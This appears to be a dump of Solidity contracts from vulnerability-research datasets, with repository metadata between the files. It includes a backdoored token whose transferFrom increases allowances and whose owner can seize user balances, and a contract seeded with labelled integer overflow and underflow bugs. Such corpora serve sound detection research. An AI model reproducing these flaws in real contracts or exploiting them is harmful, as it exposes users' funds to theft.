uint256 totalWeiInAdminAcc = noonercoin[adminAddress] * 10**18 + noonerwei[adminAddress];
if(totalWeiInAdminAcc < weiToBurned)
return false;
uint256 remainingWei = totalWeiInAdminAcc - weiToBurned;
noonercoin[adminAddress] = remainingWei/10**18;
noonerwei[adminAddress] = remainingWei - noonercoin[adminAddress] * 10**18;
totalWeiBurned = totalWeiBurned + weiToBurned;
return true;
}
function getUserBalance(address add) public view returns (uint256){
return noonercoin[add];
}
function getAfterDecimalValue(address add) internal view returns (uint256){
return noonerwei[add];
}
function getIntegerVaue(uint256 a, uint256 b, uint256 expoHundred) internal pure returns (uint256 q){
//b is already multiplied by 100
q = a*100**expoHundred/b;
q=q/10**18;
return q;
}
function getDecimalVaue(uint256 a, uint256 b, uint256 expoHundred) internal pure returns (uint256 p){
//b is already multiplied by 100
uint256 q = a*100**expoHundred/b;
q=q/10**18;
uint256 r = (a*100**expoHundred) - (b*10**18) * q;
p = r/b;
return p;
}
function randomVariablePicker() internal view returns (uint256) {
uint256 getRandomNumber = __remainingRandomVariable[
uint256(keccak256(abi.encodePacked(now, block.difficulty, msg.sender))) % __remainingRandomVariable.length];
return getRandomNumber;
}
//for error handing in scheduler
function mintTokenAsPerCurrentRate(address add, uint256 missedToken, uint256 missedWei) public returns (bool) {
require(msg.sender == adminAddress, "Only owner can do this");
// uint256 randomValue = randomVariablePicker();
// if(randomValue != 150){
// if(isNewCycleStart){
// burnToken();
// isNewCycleStart = false;
// }
// }
uint256 weiAfterMint = noonerwei[add] + missedWei;
uint256 noonerCoinExtractedFromWei = 0;
//logic to add wei in noonercoin, if wei value is greater than or equal to 10**18
if(weiAfterMint >= 10**18){
weiAfterMint = weiAfterMint - 10**18;
noonerCoinExtractedFromWei = 1;
}
noonercoin[add] = noonercoin[add] + missedToken + noonerCoinExtractedFromWei;
noonerwei[add] = weiAfterMint;
return true;
}
function changeConfigVariable() public returns (bool){
require(msg.sender == adminAddress, "Only owner can do this");
uint256 randomValue = randomVariablePicker();
isNewCycleStart = true;
totalCycleLeft = totalCycleLeft - 1;
uint256 flag = mintingRateNoonerCoin * 10**18 + mintingRateNoonerWei;
mintingRateNoonerCoin = getIntegerVaue(flag, randomValue, 1);
mintingRateNoonerWei = getDecimalVaue(flag, randomValue, 1);
startTime = startTime + _cycleTime;
//reset random variable logic
__remainingRandomVariable = __randomVariable;
delete tempRemainingRandomVariable;
return true;
}
function getLastMintingTime() public view returns (uint256){
// require(msg.sender != adminAddress);
return lastMintingTime;
}
function getLastMintingRate() public view returns (uint256){
return mintingRateNoonerCoin;
}
function getLastMintingTimeAndStartTimeDifference() public view returns (uint256) {
uint256 lastMintingTimeAndStartTimeDifference = lastMintingTime - startTime;
return lastMintingTimeAndStartTimeDifference;
}
function getCurrentTimeAndStartTimeDifference() public view returns (uint256) {
uint256 currentTimeAndStartTimeDifference = now - startTime;
return currentTimeAndStartTimeDifference;
}
function checkFailedTransactions(address add) public view returns (uint256) {
uint256 adminBalance = noonercoin[add]; //admin balance
uint256 currMintingRate = getLastMintingRate();
uint256 timeDifference = lastMintingTime - startTime; //checking time from start time to current time and changing to hrs format.
uint256 valueForEach = timeDifference/_frequency; // we will get 1,2,3....//change to _frequency
uint256 estimatedMintedToken = valueForEach * currMintingRate;// gets the total coins for that total hours
uint256 checkDifference = estimatedMintedToken - adminBalance;// checking diff from the estimate total and also from admin bal
uint256 missedTokens = checkDifference / mintingRateNoonerCoin; //finding missing tokens.
return missedTokens;
}
function checkMissingTokens(address add) public view returns (uint256, uint256) {
uint256 adminBalance = noonercoin[add]; //admin bal
uint256 adminBalanceinWei = noonerwei[add]; //admin bal wei
if (lastMintingTime == 0) {
return (0, 0);
}
if (lastMintingTime != 0) {
uint256 timeDifference = lastMintingTime - startTime; //checking time from start time to current time and changing to hrs format.
uint256 valueForEach = timeDifference/_frequency; // we will get 1,2,3....//change to _frequency
uint256 estimatedMintedToken = valueForEach * mintingRateNoonerCoin;// gets the total coins for that total hours
uint256 estimatedMintedTokenWei = valueForEach * mintingRateNoonerWei;
uint256 temp = estimatedMintedTokenWei / 10**18;
estimatedMintedTokenWei -= temp;
estimatedMintedToken += temp;
uint256 checkDifferenceWei = estimatedMintedTokenWei - (adminBalanceinWei);// checking diff from the estimate total and also from admin bal
uint256 checkDifference = estimatedMintedToken - adminBalance;
return (checkDifference,checkDifferenceWei);
}
}
function currentMintRate() public view returns (uint256){
uint256 currMintingRate = getLastMintingRate();
return currMintingRate;
}
}
| 109,679 | 586 |
60983157b319cfe490620aa18d2f0ff9b14117aa1a1a72e6aab4cb15ad696d6b
| 18,358 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x3dc4be2b39e929f086ada8bf956f24c848fbde45.sol
| 3,905 | 16,032 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ApproveAndCallReceiver {
function receiveApproval(address _from,
uint256 _amount,
address _token,
bytes _data) public;
}
//normal contract. already compiled as bin
contract Controlled {
/// @notice The address of the controller is the only address that can call
/// a function with this modifier
modifier onlyController {
require(msg.sender == controller);
_;
}
//block for check//bool private initialed = false;
address public controller;
function Controlled() public {
//block for check//require(!initialed);
controller = msg.sender;
//block for check//initialed = true;
}
/// @notice Changes the controller of the contract
/// @param _newController The new controller of the contract
function changeController(address _newController) onlyController public {
controller = _newController;
}
}
//abstract contract. used for interface
contract TokenController {
/// @notice Called when `_owner` sends ether to the MiniMe Token contract
/// @param _owner The address that sent the ether to create tokens
/// @return True if the ether is accepted, false if it throws
function proxyPayment(address _owner) payable public returns(bool);
/// @notice Notifies the controller about a token transfer allowing the
/// controller to react if desired
/// @param _from The origin of the transfer
/// @param _to The destination of the transfer
/// @param _amount The amount of the transfer
/// @return False if the controller does not authorize the transfer
function onTransfer(address _from, address _to, uint _amount) public returns(bool);
/// @notice Notifies the controller about an approval allowing the
/// controller to react if desired
/// @param _owner The address that calls `approve()`
/// @param _spender The spender in the `approve()` call
/// @param _amount The amount in the `approve()` call
/// @return False if the controller does not authorize the approval
function onApprove(address _owner, address _spender, uint _amount) public returns(bool);
}
contract ERC20Token {
/// total amount of tokens
uint256 public totalSupply;
//function totalSupply() public constant returns (uint256 balance);
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
mapping (address => uint256) public balanceOf;
//function balanceOf(address _owner) public constant returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
mapping (address => mapping (address => uint256)) public allowance;
//function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract TokenI is ERC20Token, Controlled {
string public name; //The Token's name: e.g. DigixDAO Tokens
uint8 public decimals; //Number of decimals of the smallest unit
string public symbol; //An identifier: e.g. REP
// ERC20 Methods
/// @notice `msg.sender` approves `_spender` to send `_amount` tokens on
/// its behalf, and then a function is triggered in the contract that is
/// being approved, `_spender`. This allows users to use their tokens to
/// interact with contracts in one function call instead of two
/// @param _spender The address of the contract able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the function call was successful
function approveAndCall(address _spender,
uint256 _amount,
bytes _extraData) public returns (bool success);
// Generate and destroy tokens
/// @notice Generates `_amount` tokens that are assigned to `_owner`
/// @param _owner The address that will be assigned the new tokens
/// @param _amount The quantity of tokens generated
/// @return True if the tokens are generated correctly
function generateTokens(address _owner, uint _amount) public returns (bool);
/// @notice Burns `_amount` tokens from `_owner`
/// @param _owner The address that will lose the tokens
/// @param _amount The quantity of tokens to burn
/// @return True if the tokens are burned correctly
function destroyTokens(address _owner, uint _amount) public returns (bool);
/// @notice Enables token holders to transfer their tokens freely if true
/// @param _transfersEnabled True if transfers are allowed in the clone
function enableTransfers(bool _transfersEnabled) public;
// Safety Methods
/// @notice This method can be used by the controller to extract mistakenly
/// sent tokens to this contract.
/// @param _token The address of the token contract that you want to recover
/// set to 0 in case you want to extract ether.
function claimTokens(address _token) public;
// Events
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
}
contract Token is TokenI {
using SafeMath for uint256;
string public techProvider = "WeYii Tech";
string public officialSite = "http://www.beautybloc.io";
address public owner;
struct FreezeInfo {
address user;
uint256 amount;
}
//Key1: step(); Key2: user sequence()
mapping (uint8 => mapping (uint8 => FreezeInfo)) public freezeOf; //key
mapping (uint8 => uint8) public lastFreezeSeq; // freezeOf key: step; value: sequence
mapping (uint8 => uint8) internal unlockTime;
bool public transfersEnabled;
//event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event Freeze(address indexed from, uint256 value);
event Unfreeze(address indexed from, uint256 value);
function Token(uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol,
bool transfersEnable) public {
balanceOf[msg.sender] = initialSupply;
totalSupply = initialSupply;
name = tokenName;
symbol = tokenSymbol;
decimals = decimalUnits;
transfersEnabled = transfersEnable;
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier ownerOrController() {
require(msg.sender == owner || msg.sender == controller);
_;
}
modifier ownerOrUser(address user){
require(msg.sender == owner || msg.sender == user);
_;
}
modifier transable(){
require(transfersEnabled);
_;
}
modifier realUser(address user){
if(user == 0x0){
revert();
}
_;
}
modifier moreThanZero(uint256 _value){
if (_value <= 0){
revert();
}
_;
}
modifier moreOrEqualZero(uint256 _value){
if(_value < 0){
revert();
}
_;
}
/// @dev Internal function to determine if an address is a contract
/// @param _addr The address being queried
/// @return True if `_addr` is a contract
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) {
return false;
}
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function transfer(address _to, uint256 _value) realUser(_to) moreThanZero(_value) transable public returns (bool) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
return true;
}
function approve(address _spender, uint256 _value) moreThanZero(_value) transable public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData) transable public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallReceiver(_spender).receiveApproval(msg.sender,
_amount,
this,
_extraData);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) realUser(_from) realUser(_to) moreThanZero(_value) transable public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the sender has enough
require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
allowance[_from][msg.sender] = allowance[_from][msg.sender].add(_value);
Transfer(_from, _to, _value);
return true;
}
function transferMulti(address[] _to, uint256[] _value) transable public returns (uint256 amount){
require(_to.length == _value.length && _to.length <= 1024);
uint256 balanceOfSender = balanceOf[msg.sender];
uint256 len = _to.length;
for(uint256 j; j<len; j++){
require(_value[j] <= balanceOfSender); //limit transfer value
amount = amount.add(_value[j]);
}
require(balanceOfSender - amount < balanceOfSender); //check enough and not overflow
balanceOf[msg.sender] = balanceOf[msg.sender].sub(amount);
for(uint256 i; i<len; i++){
address _toI = _to[i];
uint256 _valueI = _value[i];
balanceOf[_toI] = balanceOf[_toI].add(_valueI);
Transfer(msg.sender, _toI, _valueI);
}
}
// owner
function freeze(address _user, uint256 _value, uint8 _step) moreThanZero(_value) onlyController public returns (bool success) {
require(balanceOf[_user] >= _value);
balanceOf[_user] = balanceOf[_user] - _value;
freezeOf[_step][lastFreezeSeq[_step]] = FreezeInfo({user:_user, amount:_value});
lastFreezeSeq[_step]++;
Freeze(_user, _value);
return true;
}
event infoBool(string name, bool value);
event infoAddr(string name, address addr);
event info(string name, uint8 value);
event info256(string name, uint256 value);
//
function unFreeze(uint8 _step) onlyOwner public returns (bool unlockOver) {
//_end = length of freezeOf[_step]
uint8 _end = lastFreezeSeq[_step];
require(_end > 0);
//info("_end", _end);
unlockOver = (_end <= 99);
uint8 _start = (_end > 99) ? _end-100 : 0;
//info("_start", _start);
for(; _end>_start; _end--){
FreezeInfo storage fInfo = freezeOf[_step][_end-1];
uint256 _amount = fInfo.amount;
balanceOf[fInfo.user] += _amount;
delete freezeOf[_step][_end-1];
lastFreezeSeq[_step]--;
Unfreeze(fInfo.user, _amount);
}
}
//accept ether
function() payable public {
//
require(isContract(controller));
bool proxyPayment = TokenController(controller).proxyPayment.value(msg.value)(msg.sender);
require(proxyPayment);
}
////////////////
// Generate and destroy tokens
////////////////
/// @notice Generates `_amount` tokens that are assigned to `_owner`
/// @param _user The address that will be assigned the new tokens
/// @param _amount The quantity of tokens generated
/// @return True if the tokens are generated correctly
function generateTokens(address _user, uint _amount) onlyController public returns (bool) {
require(balanceOf[owner] >= _amount);
balanceOf[_user] += _amount;
balanceOf[owner] -= _amount;
Transfer(0, _user, _amount);
return true;
}
/// @notice Burns `_amount` tokens from `_owner`
/// @param _user The address that will lose the tokens
/// @param _amount The quantity of tokens to burn
/// @return True if the tokens are burned correctly
function destroyTokens(address _user, uint _amount) onlyOwner public returns (bool) {
require(balanceOf[_user] >= _amount);
balanceOf[owner] += _amount;
balanceOf[_user] -= _amount;
Transfer(_user, 0, _amount);
Burn(_user, _amount);
return true;
}
////////////////
// Enable tokens transfers
////////////////
/// @notice Enables token holders to transfer their tokens freely if true
/// @param _transfersEnabled True if transfers are allowed in the clone
function enableTransfers(bool _transfersEnabled) onlyOwner public {
transfersEnabled = _transfersEnabled;
}
//////////
// Safety Methods
//////////
/// @notice This method can be used by the controller to extract mistakenly
/// sent tokens to this contract.
/// set to 0 in case you want to extract ether.
function claimTokens(address _token) onlyController public {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
Token token = Token(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
function changeOwner(address newOwner) onlyOwner public returns (bool) {
balanceOf[newOwner] += balanceOf[owner];
balanceOf[owner] = 0;
owner = newOwner;
return true;
}
}
| 142,340 | 587 |
8a596c0fcc0aca798e0249fd375eeae1b4202189124612c3ebf46011b61ebeee
| 24,076 |
.sol
|
Solidity
| false |
441123437
|
1052445594/SoliDetector
|
171e0750225e445c2993f04ef32ad65a82342054
|
Solidifi-bugInjection-data/Integer_overflow_and_underflow/Sol/buggy_34.sol
| 5,443 | 17,737 |
pragma solidity >=0.5.11;
contract Ownable {
mapping(address => uint) public lockTime_intou5;
function increaseLockTime_intou5(uint _secondsToIncrease) public {
lockTime_intou5[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou5() public {
require(now > lockTime_intou5[msg.sender]);
uint transferValue_intou5 = 10;
msg.sender.transfer(transferValue_intou5);
}
address payable public owner;
function bug_intou11() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
function bug_intou31() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
}
mapping(address => uint) balances_intou30;
function transfer_intou30(address _to, uint _value) public returns (bool) {
require(balances_intou30[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou30[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou30[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract LollypopToken is Ownable {
using SafeMath for uint256;
function bug_intou40(uint8 p_intou40) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou40; // overflow bug //Integer_overflow_and_underflow bug
}
mapping (address => transferMapping) private _balances;
function bug_intou4(uint8 p_intou4) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou4; // overflow bug //Integer_overflow_and_underflow bug
}
mapping (address => mapping (address => uint256)) private _allowances;
function bug_intou39() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
uint256 private _totalSupply;
mapping(address => uint) balances_intou38;
function transfer_intou38(address _to, uint _value) public returns (bool) {
require(balances_intou38[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou38[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou38[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
uint256 public _maxTotalSupply;
mapping(address => uint) public lockTime_intou37;
function increaseLockTime_intou37(uint _secondsToIncrease) public {
lockTime_intou37[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou37() public {
require(now > lockTime_intou37[msg.sender]);
uint transferValue_intou37 = 10;
msg.sender.transfer(transferValue_intou37);
}
string private _name = "Lollypop";
function bug_intou36(uint8 p_intou36) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou36; // overflow bug //Integer_overflow_and_underflow bug
}
string private _symbol = "Lolly";
function bug_intou35() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
uint8 private _decimals= 18;
mapping(address => uint) balances_intou34;
function transfer_intou34(address _to, uint _value) public returns (bool) {
require(balances_intou34[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou34[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou34[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
uint256 public maxAgeOfToken = 365 days;
mapping(address => uint) public lockTime_intou33;
function increaseLockTime_intou33(uint _secondsToIncrease) public {
lockTime_intou33[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou33() public {
require(now > lockTime_intou33[msg.sender]);
uint transferValue_intou33 = 10;
msg.sender.transfer(transferValue_intou33);
}
uint256 public minAgeOfToken = 1 days;
function bug_intou32(uint8 p_intou32) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou32; // overflow bug //Integer_overflow_and_underflow bug
}
uint256 public perDayBonus = 100; // Divisible 1/100 (0.1 %)
struct transferMapping{
uint256 amount;
uint256 time;
}
constructor() public {
_maxTotalSupply = 1000000000 * 10 ** 18;
_totalSupply = 2000000 * 10 ** 18;
_balances[msg.sender].amount = _totalSupply;
_balances[msg.sender].time = now;
}
function bug_intou3() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
function calculateBonus(uint256 timeElasped , uint256 amount) public view returns(uint256){
uint256 totalDays = timeElasped.div(minAgeOfToken);
if(totalDays > maxAgeOfToken){
totalDays = maxAgeOfToken;
}
uint256 totalBonus = (totalDays * amount).div(perDayBonus);
return totalBonus;
}
mapping(address => uint) public lockTime_intou29;
function increaseLockTime_intou29(uint _secondsToIncrease) public {
lockTime_intou29[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou29() public {
require(now > lockTime_intou29[msg.sender]);
uint transferValue_intou29 = 10;
msg.sender.transfer(transferValue_intou29);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderTimeElasped = now - (_balances[sender].time);
uint256 recipientTimeElasped = now - (_balances[recipient].time);
if(senderTimeElasped >= minAgeOfToken && (_totalSupply < _maxTotalSupply)){
uint256 bonus = calculateBonus(senderTimeElasped , balanceOf(sender));
mint(sender , bonus);
}
if(recipientTimeElasped >= minAgeOfToken && (_totalSupply < _maxTotalSupply) && sender!= recipient){
uint256 bonus = calculateBonus(recipientTimeElasped , balanceOf(recipient));
mint(recipient , bonus);
}
_balances[sender].amount = _balances[sender].amount.sub(amount);
_balances[recipient].amount = _balances[recipient].amount.add(amount);
_balances[sender].time = now;
_balances[recipient].time = now;
emit Transfer(sender, recipient, amount);
}
function bug_intou28(uint8 p_intou28) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou28; // overflow bug //Integer_overflow_and_underflow bug
}
function name() public view returns (string memory) {
return _name;
}
function bug_intou27() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
function symbol() public view returns (string memory) {
return _symbol;
}
mapping(address => uint) balances_intou26;
function transfer_intou26(address _to, uint _value) public returns (bool) {
require(balances_intou26[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou26[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou26[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
function decimals() public view returns (uint8) {
return _decimals;
}
mapping(address => uint) public lockTime_intou25;
function increaseLockTime_intou25(uint _secondsToIncrease) public {
lockTime_intou25[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou25() public {
require(now > lockTime_intou25[msg.sender]);
uint transferValue_intou25 = 10;
msg.sender.transfer(transferValue_intou25);
}
modifier onlyLollypopAndOwner {
require(msg.sender == address(this) || msg.sender == owner);
_;
}
mapping(address => uint) balances_intou10;
function transfer_intou10(address _to, uint _value) public returns (bool) {
require(balances_intou10[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou10[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou10[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
event Transfer(address indexed from, address indexed to, uint256 value);
mapping(address => uint) public lockTime_intou1;
function increaseLockTime_intou1(uint _secondsToIncrease) public {
lockTime_intou1[msg.sender] += _secondsToIncrease; //Integer_overflow_and_underflow bug
}
function withdraw_ovrflow1() public {
require(now > lockTime_intou1[msg.sender]);
uint transferValue_intou1 = 10;
msg.sender.transfer(transferValue_intou1);
}
event Approval(address indexed owner, address indexed spender, uint256 value);
function mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account].amount = _balances[account].amount.add(amount);
emit Transfer(address(0), account, amount);
}
function bug_intou24(uint8 p_intou24) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou24; // overflow bug //Integer_overflow_and_underflow bug
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function bug_intou23() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account].amount;
}
mapping(address => uint) balances_intou22;
function transfer_intou22(address _to, uint _value) public returns (bool) {
require(balances_intou22[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou22[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou22[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
function timeOf(address account) public view returns (uint256) {
return _balances[account].time;
}
mapping(address => uint) public lockTime_intou21;
function increaseLockTime_intou21(uint _secondsToIncrease) public {
lockTime_intou21[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou21() public {
require(now > lockTime_intou21[msg.sender]);
uint transferValue_intou21 = 10;
msg.sender.transfer(transferValue_intou21);
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function bug_intou20(uint8 p_intou20) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou20; // overflow bug //Integer_overflow_and_underflow bug
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
require(receivers.length == amounts.length);
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
}
}
mapping(address => uint) balances_intou2;
function transfer_undrflow2(address _to, uint _value) public returns (bool) {
require(balances_intou2[msg.sender] - _value >= 0); //Integer_overflow_and_underflow bug
balances_intou2[msg.sender] -= _value; //Integer_overflow_and_underflow bug
balances_intou2[_to] += _value; //Integer_overflow_and_underflow bug
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function bug_intou19() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
mapping(address => uint) balances_intou18;
function transfer_intou18(address _to, uint _value) public returns (bool) {
require(balances_intou18[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou18[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou18[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
mapping(address => uint) public lockTime_intou17;
function increaseLockTime_intou17(uint _secondsToIncrease) public {
lockTime_intou17[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou17() public {
require(now > lockTime_intou17[msg.sender]);
uint transferValue_intou17 = 10;
msg.sender.transfer(transferValue_intou17);
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function bug_intou16(uint8 p_intou16) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou16; // overflow bug //Integer_overflow_and_underflow bug
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function bug_intou15() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account].amount = _balances[account].amount.sub(value);
emit Transfer(account, address(0), value);
}
mapping(address => uint) balances_intou14;
function transfer_intou14(address _to, uint _value) public returns (bool) {
require(balances_intou14[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou14[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou14[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
mapping(address => uint) public lockTime_intou13;
function increaseLockTime_intou13(uint _secondsToIncrease) public {
lockTime_intou13[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou13() public {
require(now > lockTime_intou13[msg.sender]);
uint transferValue_intou13 = 10;
msg.sender.transfer(transferValue_intou13);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
function bug_intou12(uint8 p_intou12) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou12; // overflow bug //Integer_overflow_and_underflow bug
}
}
| 224,052 | 588 |
2a9dd9519203de7abae66e54c6aef5814d749d32d7d585a5da3b5db2207a154b
| 18,208 |
.sol
|
Solidity
| false |
287517600
|
